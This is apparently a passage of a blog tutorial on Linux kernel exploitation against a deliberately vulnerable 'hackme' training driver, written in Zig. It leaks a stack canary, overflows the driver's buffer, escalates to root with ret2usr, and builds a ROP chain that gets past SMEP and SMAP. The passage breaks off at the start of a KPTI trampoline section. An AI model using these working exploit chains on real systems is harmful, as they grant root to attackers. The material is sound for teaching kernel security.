</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">bigEndianify</span>(<span style="color:#b6a0ff">comptime</span> len<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">usize</span>, buf<span style="color:#00d3d0">:</span> []<span style="color:#b6a0ff">const</span> <span style="color:#6ae4b9">u8</span>) [len]<span style="color:#6ae4b9">u8</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> bufLE<span style="color:#00d3d0">:</span> [len]<span style="color:#6ae4b9">u8</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">inline</span> <span style="color:#b6a0ff">for</span> (<span style="color:#00bcff">0</span>..len) <span style="color:#00d3d0">|</span>i<span style="color:#00d3d0">|</span> bufLE[i] <span style="color:#00d3d0">=</span> buf[len<span style="color:#00d3d0">-</span><span style="color:#00bcff">1</span><span style="color:#00d3d0">-</span>i];
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> bufLE;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> __spinlock<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">bool</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">false</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">inline</span> <span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">spin</span>() <span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">while</span> (<span style="color:#00bcff">true</span>) <span style="color:#b6a0ff">if</span> (__spinlock) <span style="color:#b6a0ff">break</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">leakCanary</span>(fd<span style="color:#00d3d0">:</span> std.posix.fd_t) <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">u64</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> buf<span style="color:#00d3d0">:</span> [tmp_size <span style="color:#00d3d0">+</span> <span style="color:#00bcff">8</span>]<span style="color:#6ae4b9">u8</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>    _ <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> std.posix.<span style="color:#feacd0">read</span>(fd, <span style="color:#00d3d0">&amp;</span>buf);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> std.mem.<span style="color:#feacd0">bytesAsValue</span>(<span style="color:#6ae4b9">u64</span>, buf[tmp_size..]).<span style="color:#00d3d0">*</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">ret2win</span>() <span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#a8a8a8">// i don&#39;t understand why, but this doesn&#39;t work (for an unpriviledged shell)
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>    <span style="color:#a8a8a8">// std.debug.print(&#34;[INFO] You won!!\n&#34;, .{});
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>    <span style="color:#a8a8a8">// const argv = [_:null]?[*:0]const u8{&#34;/usr/bin/whoami&#34;};
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>    <span style="color:#a8a8a8">// switch (std.posix.execveZ(argv[0].?, argv[0..argv.len], &amp;[_:null]?[*:0]const u8{})) {
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>    <span style="color:#a8a8a8">//     else =&gt; unreachable,
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>    <span style="color:#a8a8a8">// }
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">asm</span> <span style="color:#b6a0ff">volatile</span>(<span style="color:#79a8ff">&#34;int3; nop&#34;</span>);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">exploit</span>(fd<span style="color:#00d3d0">:</span> std.posix.fd_t) <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> ret <span style="color:#00d3d0">=</span> std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span><span style="color:#f78fe7">@intFromPtr</span>(<span style="color:#00d3d0">&amp;</span>ret2win));
</span></span><span style="display:flex;"><span>    std.debug.<span style="color:#feacd0">print</span>(<span style="color:#79a8ff">&#34;[INFO] Address of ret2win is 0x{s}</span><span style="color:#79a8ff">\n</span><span style="color:#79a8ff">&#34;</span>, .{std.fmt.<span style="color:#feacd0">bytesToHex</span>(<span style="color:#feacd0">bigEndianify</span>(<span style="color:#00bcff">8</span>, <span style="color:#f78fe7">@constCast</span>(ret)), .lower)});
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> canary <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">leakCanary</span>(fd);
</span></span><span style="display:flex;"><span>    std.debug.<span style="color:#feacd0">print</span>(<span style="color:#79a8ff">&#34;[INFO] Stack canary is 0x{s}</span><span style="color:#79a8ff">\n</span><span style="color:#79a8ff">&#34;</span>, .{std.fmt.<span style="color:#feacd0">bytesToHex</span>(<span style="color:#feacd0">bigEndianify</span>(<span style="color:#00bcff">8</span>, <span style="color:#f78fe7">@constCast</span>(std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>canary))), .lower)});
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> payload <span style="color:#00d3d0">=</span>
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">&amp;</span>[_]<span style="color:#6ae4b9">u8</span>{<span style="color:#00bcff">0</span>} <span style="color:#00d3d0">**</span> tmp_size <span style="color:#00d3d0">++</span>
</span></span><span style="display:flex;"><span>        std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>canary) <span style="color:#00d3d0">++</span>
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">&amp;</span>[_]<span style="color:#6ae4b9">u8</span>{<span style="color:#00bcff">0</span>} <span style="color:#00d3d0">**</span> (<span style="color:#00bcff">8</span> <span style="color:#00d3d0">*</span> <span style="color:#00bcff">3</span>) <span style="color:#00d3d0">++</span>
</span></span><span style="display:flex;"><span>        ret;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    _ <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> std.posix.<span style="color:#feacd0">write</span>(fd, payload);
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>[INFO] Address of ret2win is 0x00000000010251b0
</span></span><span style="display:flex;"><span>[INFO] Stack canary is 0x5d0897751cd5fe00
</span></span><span style="display:flex;"><span>[    2.480911] int3: 0000 [#1] SMP NOPTI
</span></span><span style="display:flex;"><span>[    2.480961] CPU: 0 PID: 112 Comm: exploit Tainted: G           O      5.9.0-rc6+ #10
</span></span><span style="display:flex;"><span>[    2.480966] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org 04/01/2014
</span></span><span style="display:flex;"><span>[    2.480968] RIP: 0010:0x10251b1
</span></span><span style="display:flex;"><span>[    2.480970] Code: Bad RIP value.
</span></span><span style="display:flex;"><span>[    2.481005] RSP: 0018:ffffc900001bfeb0 EFLAGS: 00000296
</span></span><span style="display:flex;"><span>[    2.481028] RAX: 00000000000000a8 RBX: 0000000000000000 RCX: 0000000000000000
</span></span><span style="display:flex;"><span>[    2.481031] RDX: 0000000000000008 RSI: ffffffffc00024e0 RDI: ffffc900001bfea8
</span></span><span style="display:flex;"><span>[    2.481034] RBP: 0000000000000000 R08: 00000000010251b0 R09: 00000000010251b0
</span></span><span style="display:flex;"><span>[    2.481037] R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000000
</span></span><span style="display:flex;"><span>[    2.481039] R13: ffffc900001bfef0 R14: 00007ffe920c3488 R15: ffff8880060c8600
</span></span><span style="display:flex;"><span>[    2.481042] FS:  0000000000000000(0000) GS:ffff888007800000(0000) knlGS:0000000000000000
</span></span><span style="display:flex;"><span>[    2.481045] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
</span></span><span style="display:flex;"><span>[    2.481048] CR2: 000000000101fe20 CR3: 0000000006164000 CR4: 00000000000006f0
</span></span><span style="display:flex;"><span>[    2.481050] Call Trace:
</span></span><span style="display:flex;"><span>[    2.481052]  ? ksys_write+0xa7/0xe0
</span></span><span style="display:flex;"><span>[    2.481054]  ? exit_to_user_mode_prepare+0x31/0x180
</span></span><span style="display:flex;"><span>[    2.481056]  ? __x64_sys_write+0x1a/0x20
</span></span><span style="display:flex;"><span>[    2.481058]  ? do_syscall_64+0x37/0x80
</span></span><span style="display:flex;"><span>[    2.481061]  ? entry_SYSCALL_64_after_hwframe+0x44/0xa9
</span></span><span style="display:flex;"><span>[    2.481063] Modules linked in: hackme(O)
</span></span><span style="display:flex;"><span>[    2.485064] ---[ end trace 32df1ad37c4c8194 ]---
</span></span><span style="display:flex;"><span>[    2.485072] RIP: 0010:0x10251b1
</span></span><span style="display:flex;"><span>[    2.485075] Code: Bad RIP value.
</span></span><span style="display:flex;"><span>[    2.485078] RSP: 0018:ffffc900001bfeb0 EFLAGS: 00000296
</span></span><span style="display:flex;"><span>[    2.485091] RAX: 00000000000000a8 RBX: 0000000000000000 RCX: 0000000000000000
</span></span><span style="display:flex;"><span>[    2.485093] RDX: 0000000000000008 RSI: ffffffffc00024e0 RDI: ffffc900001bfea8
</span></span><span style="display:flex;"><span>[    2.485096] RBP: 0000000000000000 R08: 00000000010251b0 R09: 00000000010251b0
</span></span><span style="display:flex;"><span>[    2.485098] R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000000
</span></span><span style="display:flex;"><span>[    2.485101] R13: ffffc900001bfef0 R14: 00007ffe920c3488 R15: ffff8880060c8600
</span></span><span style="display:flex;"><span>[    2.485103] FS:  0000000000000000(0000) GS:ffff888007800000(0000) knlGS:0000000000000000
</span></span><span style="display:flex;"><span>[    2.485106] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
</span></span><span style="display:flex;"><span>[    2.485108] CR2: 000000000101fe20 CR3: 0000000006164000 CR4: 00000000000006f0
</span></span><span style="display:flex;"><span>[    2.485111] Kernel panic - not syncing: Fatal exception in interrupt
</span></span><span style="display:flex;"><span>[    2.485661] Kernel Offset: disabled</span></span></code></pre></div>

<p>Nice.</p>
<h3 id="ret2usr">ret2usr</h3>
<p>For priviledge escalation, we&rsquo;ll create a new set of root credentials with <kbd>prepare_kernel_cred(NULL)</kbd> and overwrite the process&rsquo;s existing cred struct with <kbd>commit_creds()</kbd>.<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></p>





  
  
    

  
  
    









<details open>
  
  <summary>Bash</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cat /proc/kallsyms | grep -e <span style="color:#79a8ff">&#39;prepare_kernel_cred&#39;</span> -e <span style="color:#79a8ff">&#39;commit_creds&#39;</span></span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>ffffffff814c6410 T commit_creds
</span></span><span style="display:flex;"><span>ffffffff814c67f0 T prepare_kernel_cred
</span></span><span style="display:flex;"><span>ffffffff81f87d90 r __ksymtab_commit_creds
</span></span><span style="display:flex;"><span>ffffffff81f8d4fc r __ksymtab_prepare_kernel_cred
</span></span><span style="display:flex;"><span>ffffffff81fa0972 r __kstrtab_commit_creds
</span></span><span style="display:flex;"><span>ffffffff81fa09b2 r __kstrtab_prepare_kernel_cred
</span></span><span style="display:flex;"><span>ffffffff81fa4d42 r __kstrtabns_commit_creds
</span></span><span style="display:flex;"><span>ffffffff81fa4d42 r __kstrtabns_prepare_kernel_cred</span></span></code></pre></div>

<p>Additionally, we need to swap to userland before we pop a shell; this can be accomplished by saving the state of registers before interacting with the <code>hackme</code> driver, then calling <kbd>swapgs</kbd>/<kbd>iretq</kbd> to context switch back to userland.</p>
<p><a id="code-snippet--priviledge-escalation"></a></p>





  
  
    

  
  
    









<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><span style="color:#b6a0ff">export</span> <span style="color:#b6a0ff">var</span> user_cs<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">export</span> <span style="color:#b6a0ff">var</span> user_ss<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">export</span> <span style="color:#b6a0ff">var</span> user_rsp<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">export</span> <span style="color:#b6a0ff">var</span> user_rflags<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">saveState</span>() <span style="color:#feacd0">callconv</span>(.C) <span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">asm</span> <span style="color:#b6a0ff">volatile</span> (
</span></span><span style="display:flex;"><span>      <span style="color:#79a8ff">\\.intel_syntax noprefix</span>
</span></span><span style="display:flex;"><span>      <span style="color:#79a8ff">\\mov user_cs, cs</span>
</span></span><span style="display:flex;"><span>      <span style="color:#79a8ff">\\mov user_ss, ss</span>
</span></span><span style="display:flex;"><span>	  <span style="color:#79a8ff">\\mov user_rsp, rsp</span>
</span></span><span style="display:flex;"><span>	  <span style="color:#79a8ff">\\pushf</span>
</span></span><span style="display:flex;"><span>	  <span style="color:#79a8ff">\\pop qword ptr user_rflags</span>
</span></span><span style="display:flex;"><span>      <span style="color:#79a8ff">\\.att_syntax</span>
</span></span><span style="display:flex;"><span>    );
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">escalate</span>() <span style="color:#feacd0">callconv</span>(.C) <span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">asm</span> <span style="color:#b6a0ff">volatile</span> (
</span></span><span style="display:flex;"><span>      <span style="color:#79a8ff">\\.intel_syntax noprefix</span>
</span></span><span style="display:flex;"><span>      <span style="color:#79a8ff">\\xor rdi, rdi</span>
</span></span><span style="display:flex;"><span>      <span style="color:#79a8ff">\\movabs rcx, 0xffffffff814c67f0</span>
</span></span><span style="display:flex;"><span>	  <span style="color:#79a8ff">\\call rcx</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>      <span style="color:#79a8ff">\\mov rdi, rax</span>
</span></span><span style="display:flex;"><span>	  <span style="color:#79a8ff">\\movabs rcx, 0xffffffff814c6410</span>
</span></span><span style="display:flex;"><span>	  <span style="color:#79a8ff">\\call rcx</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>      <span style="color:#79a8ff">\\swapgs</span>
</span></span><span style="display:flex;"><span>      <span style="color:#79a8ff">\\mov r15, user_ss</span>
</span></span><span style="display:flex;"><span>      <span style="color:#79a8ff">\\push r15</span>
</span></span><span style="display:flex;"><span>      <span style="color:#79a8ff">\\mov r15, user_rsp</span>
</span></span><span style="display:flex;"><span>      <span style="color:#79a8ff">\\push r15</span>
</span></span><span style="display:flex;"><span>      <span style="color:#79a8ff">\\mov r15, user_rflags</span>
</span></span><span style="display:flex;"><span>      <span style="color:#79a8ff">\\push r15</span>
</span></span><span style="display:flex;"><span>      <span style="color:#79a8ff">\\mov r15, user_cs</span>
</span></span><span style="display:flex;"><span>      <span style="color:#79a8ff">\\push r15</span>
</span></span><span style="display:flex;"><span>      <span style="color:#79a8ff">\\mov r15, user_rip</span>
</span></span><span style="display:flex;"><span>      <span style="color:#79a8ff">\\push r15</span>
</span></span><span style="display:flex;"><span>      <span style="color:#79a8ff">\\iretq</span>
</span></span><span style="display:flex;"><span>      <span style="color:#79a8ff">\\.att_syntax</span>
</span></span><span style="display:flex;"><span>   );
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>whoami: unknown uid 1000
</span></span><span style="display:flex;"><span>[INFO] Saved state
</span></span><span style="display:flex;"><span>[INFO] Canary: 0x4876ab567c920000
</span></span><span style="display:flex;"><span>[INFO] You won!!
</span></span><span style="display:flex;"><span>whoami: unknown uid 0</span></span></code></pre></div>

<h3 id="smep">SMEP</h3>
<p><strong>Supervisor mode execution protection</strong> is kinda like the NX bit: when we&rsquo;re in the kernel, userland pages are marked as non-executable.
So instead of just calling <kbd>ret2win</kbd> we have to use ROP to pop a shell.</p>





  
  
    

  
  
    









<details open>
  
  <summary>Bash</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ropr --range<span style="color:#00d3d0">=</span>0xffffffff81000000-0xffffffff81b00000 -R <span style="color:#79a8ff">&#39;^swapgs|^iretq|^pop rdi; ret|^mov rdi, rax; (mov|ret)&#39;</span> vmlinux</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>0xffffffff81005245: mov rdi, rax; mov rdx, [rsp+8]; mov rax, [rsp]; add rsp, 0x18; jmp rdi;
</span></span><span style="display:flex;"><span>0xffffffff8100a557: swapgs; rdgsbase rax; swapgs; pop rbp; ret;
</span></span><span style="display:flex;"><span>0xffffffff8100a590: swapgs; wrgsbase rdi; swapgs; pop rbp; ret;
</span></span><span style="display:flex;"><span>0xffffffff81200000: swapgs; sysretq;
</span></span><span style="display:flex;"><span>0xffffffff812016d1: swapgs; sysret;
</span></span><span style="display:flex;"><span>0xffffffff8140867f: mov rdi, rax; mov rdx, rcx; shl rdx, 6; add rdx, rcx; mov byte ptr [rax+rdx*4+0x104], 0; call qword ptr [0xffffffff82040220];
</span></span><span style="display:flex;"><span>0xffffffff8146d4e4: swapgs; pop rbp; ret;
</span></span><span style="display:flex;"><span>0xffffffff815e8db8: pop rdi; ret 0x4100;
</span></span><span style="display:flex;"><span>0xffffffff81612872: mov rdi, rax; mov [rdx], r15; call qword ptr [0xffffffff82040220];
</span></span><span style="display:flex;"><span>0xffffffff816bf203: mov rdi, rax; mov [rsi+0x140], rdi; pop rbp; ret;
</span></span><span style="display:flex;"><span>0xffffffff816df01e: mov rdi, rax; mov [r15+0x50], edx; call qword ptr [0xffffffff82040220];
</span></span><span style="display:flex;"><span>0xffffffff8177020d: mov rdi, rax; mov rcx, [r10+0x148]; mov rdx, [r10+0x150]; call qword ptr [0xffffffff82040220];
</span></span><span style="display:flex;"><span>0xffffffff817aaccb: mov rdi, rax; mov [r8+0x98], rsi; mov [rbp-0x78], rdx; call qword ptr [0xffffffff82040220];
</span></span><span style="display:flex;"><span>0xffffffff818040d9: mov rdi, rax; mov rdx, [rdx+0x30]; mov r8, [rdx+0x40]; call qword ptr [0xffffffff82040220];
</span></span><span style="display:flex;"><span>0xffffffff818f8495: mov rdi, rax; mov qword ptr [rdi], 1; pop rbp; ret;
</span></span><span style="display:flex;"><span>0xffffffff8196258d: pop rdi; ret 0;
</span></span><span style="display:flex;"><span>0xffffffff819c67c7: iretq;
</span></span><span style="display:flex;"><span>0xffffffff819c6839: iretq;
</span></span><span style="display:flex;"><span>0xffffffff819c68f6: iretq;
</span></span><span style="display:flex;"><span>0xffffffff819ce301: pop rdi; ret 0xffff;
</span></span><span style="display:flex;"><span>0xffffffff81a68c0d: pop rdi; ret;
</span></span><span style="display:flex;"><span>0xffffffff81a77188: pop rdi; ret 0xb8ff;
</span></span><span style="display:flex;"><span>0xffffffff81adf905: iretq;</span></span></code></pre></div>

<p>Through trial and error I determined that gadgets roughly past <code>0xffffffff81b00000</code> were in a non-executable segment, so I restricted the search to reflect that.</p>
<p>Also, trying to use an allocator (including <kbd>FixedBufferAllocator</kbd>) to assist in constructing the payload led to confusing protection fault bugs, so beware of that.</p>
<p><a id="code-snippet--smep"></a></p>





  
  
    

  
  
    









<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> POP_RDI<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff8196258d</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> MOV_RDI_RAX_POP_RBP<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff816bf203</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> SWAPGS_POP_RBP<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff8146d4e4</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> IRETQ<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff819c67c7</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> PREPARE_KERNEL_CRED<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff814c67f0</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> COMMIT_CREDS<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff814c6410</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">ropchain</span>(writer<span style="color:#00d3d0">:</span> anytype) <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> writer.<span style="color:#feacd0">writeAll</span>(std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>[_]<span style="color:#6ae4b9">u64</span>{
</span></span><span style="display:flex;"><span>        POP_RDI,
</span></span><span style="display:flex;"><span>        <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>        PREPARE_KERNEL_CRED,
</span></span><span style="display:flex;"><span>        MOV_RDI_RAX_POP_RBP,
</span></span><span style="display:flex;"><span>        <span style="color:#00bcff">0</span>, <span style="color:#a8a8a8">// junk
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        COMMIT_CREDS,
</span></span><span style="display:flex;"><span>        SWAPGS_POP_RBP,
</span></span><span style="display:flex;"><span>        <span style="color:#00bcff">0</span>, <span style="color:#a8a8a8">// junk
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        IRETQ,
</span></span><span style="display:flex;"><span>        user_rip,
</span></span><span style="display:flex;"><span>        user_cs,
</span></span><span style="display:flex;"><span>        user_rflags,
</span></span><span style="display:flex;"><span>        user_rsp,
</span></span><span style="display:flex;"><span>        user_ss,
</span></span><span style="display:flex;"><span>    }));
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>whoami: unknown uid 1000
</span></span><span style="display:flex;"><span>[INFO] Saved state
</span></span><span style="display:flex;"><span>[INFO] Canary: 0x9866a26a8b9ba300
</span></span><span style="display:flex;"><span>[INFO] You won!!
</span></span><span style="display:flex;"><span>whoami: unknown uid 0</span></span></code></pre></div>

<h4 id="smap">SMAP</h4>
<p>With supervisor mode access protection we can not only not execute code in userspace, but not even read or write to it.
Because our ROP chain is contained in kernelspace, we are able to escalate priviledges and context switch to userspace without reading from userland memory, so no issues here!</p>





  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>whoami: unknown uid 1000
</span></span><span style="display:flex;"><span>[INFO] Saved state
</span></span><span style="display:flex;"><span>[INFO] Canary: 0x9a56f4945c848500
</span></span><span style="display:flex;"><span>[INFO] You won!!
</span></span><span style="display:flex;"><span>whoami: unknown uid 0</span></span></code></pre></div>

<p>(<a href="https://lkmidas.github.io/posts/20210128-linux-kernel-pwn-part-2/#pivoting-the-stack">One possible solve</a> that works under SMEP but not SMAP involves stack pivoting to a page in userspace.)</p>
<h3 id="kpti">KPTI</h3>
<p><strong>Kernel page-table isolation</strong> is a mitigation that results in different page tables being used when in user-mode or kernel-mode, and it was introduced to combat the Meltdown attack.</p>
<p>The previous exploit will not work because even though we context switch to userspace, we are still using kernel page tables and so <kbd>ret2win</kbd> is inaccessible.
So in addition to context switching to userland, we also need to swap page tables.</p>
<p>This can be accomplished by a <em>KPTI trampoline</em>, which is very similar to our context switching gadget except that it also modifies the <code>CR3</code> register to swap page tables.</p>





  
  
    

  
  
    









<details open>
  
  <summary>Bash</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cat /proc/kallsyms | grep -e <span style="color:#79a8ff">&#39;swapgs_restore_regs_and_return_to_usermode&#39;</span></span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>ffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode</span></span></code></pre></div>






  
  
    

  
  
    









<details open>
  
  <summary>Bash</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>objdump --start-address<span style="color:#00d3d0">=</span>0xffffffff81200f26 --stop-address<span style="color:#00d3d0">=</span>0xffffffff81200f46 -S vmlinux
</span></span><span style="display:flex;"><span>objdump --start-address<span style="color:#00d3d0">=</span>0xffffffff81200f89 --stop-address<span style="color:#00d3d0">=</span>0xffffffff81200f97 -S vmlinux
</span></span><span style="display:flex;"><span>objdump --start-address<span style="color:#00d3d0">=</span>0xffffffff8146d4e0 --stop-address<span style="color:#00d3d0">=</span>0xffffffff8146d4e9 -S vmlinux
</span></span><span style="display:flex;"><span>objdump --start-address<span style="color:#00d3d0">=</span>0xffffffff81200f46 --stop-address<span style="color:#00d3d0">=</span>0xffffffff81200f4b -S vmlinux
</span></span><span style="display:flex;"><span>objdump --start-address<span style="color:#00d3d0">=</span>0xffffffff81201067 --stop-address<span style="color:#00d3d0">=</span>0xffffffff81201082 -S vmlinux
</span></span><span style="display:flex;"><span>objdump --start-address<span style="color:#00d3d0">=</span>0xffffffff81200fc7 --stop-address<span style="color:#00d3d0">=</span>0xffffffff81200fc9 -S vmlinux</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>
